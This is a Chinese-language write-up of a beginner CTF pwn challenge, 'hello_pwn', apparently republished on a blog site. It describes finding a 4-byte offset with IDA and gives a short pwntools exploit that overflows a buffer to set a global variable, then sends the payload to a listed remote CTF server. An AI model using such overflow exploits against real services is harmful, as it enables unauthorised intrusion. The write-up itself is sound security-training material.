攻防世界PWN简单题 hello_pwn


攻防世界简单题 hello_pwn

攻防世界的PWN简单题 此题开始需要我们开始要学会构建payload

并且对C语言基础知识、pwntools、汇编基础知识进行了考察

先checksec看是多少位的程序

2

发现是64位的小端程序,扔进IDA64,点击左边的main函数,按键盘上的F5,运行伪代码插件,查看C语言伪代码

4

5

梳理一下函数的逻辑,发现只要dword_60106c的值等于1853186401就可以运行sub_400686函数,

双击sub_400686函数进去查看!

6

然后就是想溢出的流程了,计算一下601068到60106c的长度。

7

可以看出是4个字节

然后编写exp

from pwn import *
payload = b'a'*4 + p64(1853186401) 
#构建payload 601068向下输出4个字节的内容
#此时地址正好到60106c,输入需要的数字
coon = remote('111.200.241.244',53871)
#连接远程IP和端口
coon.recv()
#接收远程发来的内容
coon.sendline(payload)
#向远程发送我们的payload
coon.interactive()
#与远程进行交互,就是查看我们的flag

然后运行exp脚本就可以得到flag了

8


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM